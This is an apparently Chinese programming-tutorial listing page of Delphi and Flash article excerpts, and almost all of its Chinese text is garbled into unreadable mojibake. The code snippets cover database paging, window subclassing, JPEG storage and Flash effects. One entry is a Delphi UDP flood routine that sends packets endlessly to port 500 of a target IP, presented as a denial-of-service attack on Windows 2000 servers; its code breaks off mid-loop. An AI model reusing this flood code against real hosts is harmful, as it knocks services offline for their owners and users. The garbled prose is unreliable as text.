»ñµÃ´ó½±µÄDelphi¿ª·¢»·¾³µÄ×îа汾ÌṩÁ˶ÔÓÚËùÓÐ.NET¿ò¼ÜÀàµÄÖ§³Ö¡£¿ª·¢ÕßÃ..
  • [ ] ÀýÓÃAdoQuery·ÖÒ³

    µã»÷£º463¡¡·¢²¼ÈÕÆÚ£º08/29

            Ê×ÏÈÔÚ´°ÌåÉϷŸölistview,Á½¸öbutton£¬Ò»¸ölabel,Ò»¸öadoquery,Ò»¸öadoconnectionÈ»ºóÓÃadoconnection½¨Á¢Ò»¸öÁ¬½Ó unit Unit1; interface uses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, DB, ADODB,Grids, DBGrids, StdCtrls, ComCtrls; type  TForm1 = class(TForm)    Button1: TButton;    ADOConnection1: TADOConnection;    ADOQuery1: TADOQuery;    ListView1: TListView;    Label1: TLabel;    Button2: TButton;    procedure FormCreate(Sender: TObject);    procedure Button1Click(Sender: TObject);    procedure Button2Click(Sender: TObject);  private    { Private declarations }    procedure Page_Count;  public    { Public declarations }  end;var  Form1: TForm1;  page: integer;implementation {$R *.df..
  • [ ] ×ÓÀ໯´°¿Ú¸¨ÖúÀàNativeWindow

    µã»÷£º296¡¡·¢²¼ÈÕÆÚ£º08/29

              À໯´°¿ÚÔڸ߼¶¿ª·¢ÖеÄÖØÒªÀûÆ÷¡£ÊÜc#ÖÐNativeWindowµÄÆô·¢£¬ÊµÏÖÁËÏÂÃæÕâÑùÒ»¸ö¼òµ¥µÄÀ࣬À´°ïÖú¸üÈÝÒ׵ضԴ°¿ÚʵÏÖ×ÓÀ໯¡£ unit NativeWindow; interface uses  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; Type  TzwNativeWindow = class  private    m_OldWinProc:FARPROC  ;    m_NewWinProc:FARPROC  ;    m_Handle:THandle;  protected    procedure WndProc(var Message: TMessage); virtual;  public    constructor Create;    destructor Destroy;override;    procedure AssignHandle(WndHandle:THandle);    procedure ReleaseHandle;    property Handle:THandle read m_Handle;  end; implementation { TzwNativeWindow } procedure TzwNativeWindow.AssignHandle(WndHandle: THandle);begin  if (m_Handle<>WndHandle) then  begin  &..
  • [ ] ÔÚDELPHIÖиü¼òµ¥µÄ´æÈ¡JPEGÎļþµ½SQLSERVERÊý¾Ý¿â

    µã»÷£º368¡¡·¢²¼ÈÕÆÚ£º08/24

    ÔÚDELPHIÖиü¼òµ¥µÄ´æÈ¡JPEGÎļþµ½SQLSERVERÊý¾Ý¿â Íõ´ó´¨(WDCZZH)    ×î½üÔÚCSDNÉÏ¿´µ½Á½Æª¹ØÓÚ¡¶DELPHIÖдæÈ¡JPEGÎļþµ½SQLSERVER¡·ÖеÄÎÄÕÂÖ®ºó,¾õµÃÆäÖн²ÊöµÄ·½·¨ËäÈ»ÓпÉȡ֮´¦,µ«ÆÄ·Ñʱ,ÎÒÕâÀïÓиü¼òµ¥µÄ²Ù×÷·½·¨£¬¶øÇÒ°²È«¿É¿¿,²»¸ÒÒ»È˶ÀÏí,Ô¸·¢²¼³öÀ´Óë´ó¼Ò¹²Ïí¡£ÔÚDelphi7.0+Win2000+SqlServer 2000ÖвâÊÔͨ¹ý£¬ÔËÐÐÁ¼ºÃ£¬ÏÖ½«Ë¼Â·¡¢Ô´Â빫¿ªÈçÏ£º ½â¾ö˼·£º 1¡¢ ¹Ø¼üÔÚÓÚ½«´ò¿ªµÄJPEGÎļþ¶¯Ì¬×ª»»ÎªTbitmap¶ÔÏó²¢ÏÔʾÔÚTimage¶ÔÏóÖУ» 2¡¢ ½«ÏÔʾµÄͼƬÌá½»µ½Êý¾Ý¿âÖС£ ±¾ÀýÖÐÔÚSQLSERVER2000Öн¨Á¢ÁËÒ»¸öÊÔÀý±í£ºexam(xm char(10),photo image)£»   ³ÌÐòÔ´´úÂ룺 unit SavePic; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, ExtDlgs, ExtCtrls, DBCtrls, Grids, DBGrids, DB, ADODB, Buttons,   StdCtrls,Jpeg;   type   TForm1 = class(TForm)     SpeedButton1: TSpeedButton;     ADOConnection1: TADOConnection;     Table1: TADOTable;     DataSource1: ..
  • [ ] udp 500 D.O.S¹¥»÷

    µã»÷£º293¡¡·¢²¼ÈÕÆÚ£º08/17

    ǰЩÈÕ×Ó,¿´¼ûÓÐÎÄÕÂ˵win2000·þÎñÆ÷µÄ500¶Ë¿Ú¶Ôflood¹¥»÷·ÀÓù²»ÊǺܺÃ,ÎÒ²âÊÔÁËÒ»ÏÂ,·¢ÏÖºÜÓÐЧ¹û,¶Ôwin2000·þÎñÆ÷µÄudp500·¢ËÍ´óÁ¿°üµÄʱºò,win2000·þÎñÆ÷µÄcpuÂÊÒ»ÏÂ×Ó´ïµ½ÁË100%,¶øÇÒ·´Ó¦Á¢¿Ì³Ù¶ÛÏÂÀ´. ³ÌÐòÈçÏÂ: Ï̳߳ÌÐò://Ï̵߳ÄÖ´ÐдúÂë,´´½¨Ïß³ÌÇëÓò˵¥newÒ»¸öTheadObject uses winsock; procedure udpdos.Execute;varwsa:TWSAData;s: TSocket;sockin: TSockAddrIn;buf:array[0..1023] of byte;i: integer;DIP:string;begin  { Place thread code here }//win2000ÏÂÀûÓÃike(udp 500)µÄDOS¹¥»÷//by Ñî˳  FreeOnTerminate := true; //destIPÊÇÖ÷FormÀïÃæÉÏ,¾ÍÊÇÒª¹¥»÷µÄ¶ÔÏó,ÔÚÖ÷FormÀïÃæÉêÃ÷Ò»¸öÕâÑùµÄ±äÁ¿¾Í¿ÉÒÔÁË  DIP := DestIP; //Ìî³äbuf  for i := 0 to 1023 do    buf[i] := 97; //³õʼ»¯socket2  WSAStartup($101,wsa); //´´½¨udp socket  s := socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);  sockin.sin_family := AF_INET;  sockin.sin_port := htons(IKE);  sockin.sin_addr.S_addr := inet_addr(pchar(DIP));  while true do  begin    if self.Terminated ..
  • [ ] DelphiµÄBUGSÖ®ÎÒ¼û

    µã»÷£º200¡¡·¢²¼ÈÕÆÚ£º08/17

    ÏÂÃæÊDZ¾ÈËÔÚDelphiʵ¼ÊµÄ¿ª·¢Öз¢ÏÖµÄÎÊÌ⣬ϣÍûÄÜͬ´ó¼ÒÒ»Æð½»Á÷¡£ 1¡¢TDateTimePickerµÄ´íÎó TDateTimePicker¿Ø¼þÔÚ¶ÁдÈÕÆÚʱÓкܶà´íÎó£¬Ö÷ÒªÊÇÈÕÆÚ²»Äܼ°Ê±Ë¢Ð¡£ Ëæ±ã¾ÙÒ»¸öÀý×Ó£º н¨Ò»¸öForm£¬È»ºóÌí¼ÓÒ»¸öTDateTimePicker¿Ø¼þ£¬Ëæ±ã·ÅÒ»¸ö¸¡¶¯ÐͰ´Å¥ÀýÈçTSpeedButton»òÕßTToolButtonµÈ£¬ÏàÐÅÕâÖÖ·½Ê½ÓõĻáºÜ¶à£¡ ÔÚ¸¡¶¯°´Å¥µÄClickʼþÖмÓÈëºÜ¼òµ¥µÄ´úÂ룺 ShowMessage(FormatDateTime('yyyy-mm-dd',DateTimePicker1.Date)); ´ËʱÄãͨ¹ýÖ±½ÓÐÞ¸ÄTDateTimePickerµÄʱ¼äÖµÀ´ÐÞ¸ÄÈÕÆÚ£¬È»ºó¼¤»î¸¡¶¯°´Å¥µÄClickʼþ£¬Äã»á·¢ÏÖÔÚTDateTimePickerÖз´Ó³³öÀ´µÄÈÕÆÚ²¢²»ÊÇTDateTimePickerÕæÊµµÄÈÕÆÚ£¡¶àÊÔ¼¸´ÎÄã»á·¢ÏÖÎÊÌâ¸üÑÏÖØ£¡ ÏàÐÅBorland¹«Ë¾µÄÈËÓ¦¸Ã²â³öÁË´Ë´íÎ󣬵«ÊÇûÓÐÐÞ¸´£¡ ÏÖÔÚËÆºõÃ÷°×ΪʲôûÓÐÈÕÆÚÐ͵ÄDB¿Ø¼þ£¡   2¡¢TDBGridµÄ´íÎó Èç¹ûÄãÊÇͨ¹ýTDBGridÖ±½Ó¶ÁдÊý¾Ý£¬Äã»á·¢ÏÖÎÊÌâºÜÖÂÃü£¡ Ëæ±ã¾ÙÒ»¸öÀý×Ó£º н¨Ò»¸öForm£¬È»ºóÌí¼ÓÒ»¸öTDBGrid£¬Ìí¼ÓÏàÓ¦µÄÊý¾Ý¹ØÁªÈ»ºó¼¤»îÊý¾ÝÔ´£¬Ëæ±ã·ÅÒ»¸ö¸¡¶¯ÐͰ´Å¥£¬ÏàÐÅÕâÖÖ·½Ê½ÓõÄÒ²±È½Ï¶à£¡ ÔÚ¸¡¶¯°´Å¥µÄClickʼþÖмÓÈëºÜ¼òµ¥µÄ´úÂ룺 ShowMessage(ADOQuery1.Fields.Fields[0].AsSt..
  • [ ] ÐýתµÄ»¨¶ä

    µã»÷£º901¡¡·¢²¼ÈÕÆÚ£º08/16

    [È«ÆÁÐÀÉÍ]
  • [ ] ¿ØÖÆÓ°Æ¬¼ô¼­¡¾»ù´¡¡¿

    µã»÷£º560¡¡·¢²¼ÈÕÆÚ£º08/16

    Ò»¡¢¿ØÖÆÓ°Æ¬µÄ²¥·ÅËÙ¶È [È«ÆÁÐÀÉÍ]
  • [ ] ÕÚÕÖµÄÃîÓÃ

    µã»÷£º431¡¡·¢²¼ÈÕÆÚ£º08/16

    ÏàÐÅÓÐFLASH»ù´¡µÄÉÁÓÑÒ»¶¨×ö¹ýÕÚÕÖ£¬ËüÊÇÒ»¸öÎÒÃÇË­Ò²Àë²»¿ªµÄ¼¼Êõ¡£ÔÚÉÁ°É¼û¹ýÒ»¸öÕâÖÖЧ¹û£¬±ã¸ú×ÅѧÁËÒ»¸ö¡£Õ¾³¤ÌṩµÄASÌØÐ§£¨Ð¡ÕýÕý£©ÖÐÒ²ÓÐÒ»¸öÕâÑùµÄЧ¹û¡£[È«ÆÁÐÀÉÍ]ÏÈ¿´Ò»ÏÂÕûÌåµÄ½á¹¹£¬Èçͼ1£ºÔ²ÐÎÄ£ºýÉ«¿éµÄ½¥±äÉ«£¬Èçͼ2£º   ×ó²àµÄÁ½¸öΪ°×É«£¬Í¸Ã÷¶ÈΪ0£¬ÓÒ²àµÄΪ°×É«£¬Í¸Ã÷¶ÈΪ85¡£Ô²ÐÎÕÚÕÖ£¨MCʵÀýÃûΪaa£©ÓëÄ£ºýÉ«¿é£¨MCʵÀýÃûΪbb£©ÓõÄÊÇͬһ¸ö·ûºÅ£¬²»¹ýÄãÒªÃ÷°×£ºÕÚÕÖÓý¥±äÉ«Ìî³äÊÇûÈκÎ×÷Óõġ£ÎÒÖ»ÊÇÏëÈÃËüÁ©Ò»°ã´ó¡£ËùÒÔ͵Á˸öÀÁ¡£ÏÈ˵һÏÂÕâ¸öʵÀýµÄ¼¼ÇÉ£¬±³¾°Í¼²ãµ¼ÈëÁËÒ»·ù»­£¬×ªÎªÁË·ûºÅ£¬°ÑËüµÄÁÁ¶Èµ÷Ϊ-85¡£ÕâÑùÓëÄ£ºýÉ«¿éµÄ±ßÔµÈÚºÏÔÚÒ»Æð£¬²úÉúÁËÄ£ºýµÄ¸Ð¾õ¡£×îºó£¬À´¿´Ò»Ï¿ØÖÆÒƶ¯µÄ´úÂ룺_root.onEnterFrame   =   function()   {            Mouse.hide();            startDrag("_root.aa",   true);            xx   =   _roo..
  • [ ] ³¬¿áÍøÒ³±äÐÎFlash°´Å¥

    µã»÷£º2678¡¡·¢²¼ÈÕÆÚ£º08/16

    ±¾½Ì³ÌÊǽ²ÊöÈçºÎʹÓÃdigital fusionÖÆ×÷ÍøÒ³flash³¬¿á±äÐΰ´Å¥¡£ ¾­µä·¶ÀýÓУºµÂ¹úµÄ http://www.derbauer.de/ ÍøÕ¾µÚÒ»°æÊ¹ÓùýµÄ¡£[È«ÆÁÐÀÉÍ] /Upload/2004_Pack/post-18-1078719130.swf·¶ÀýЧ¹ûÑÝʾ£º[È«ÆÁÐÀÉÍ] /Upload/2004_Pack/post-18-1078719477.swfµã»÷ÏÂÔØ¸Ã½Ì³ÌÈ«²¿ÎļþËØ²Ä£ºµã»÷ÏÂÔØ367kb>>>
  • ¹²ÓÐ29ÌõÐÅÏ¢¡¡1 - 30¡¡1/1Ò³¡¡30¸ö/Ò³¡¡¡¡ÉÏÒ»Ò³¡¡ÏÂÒ»Ò³
    תµ½£º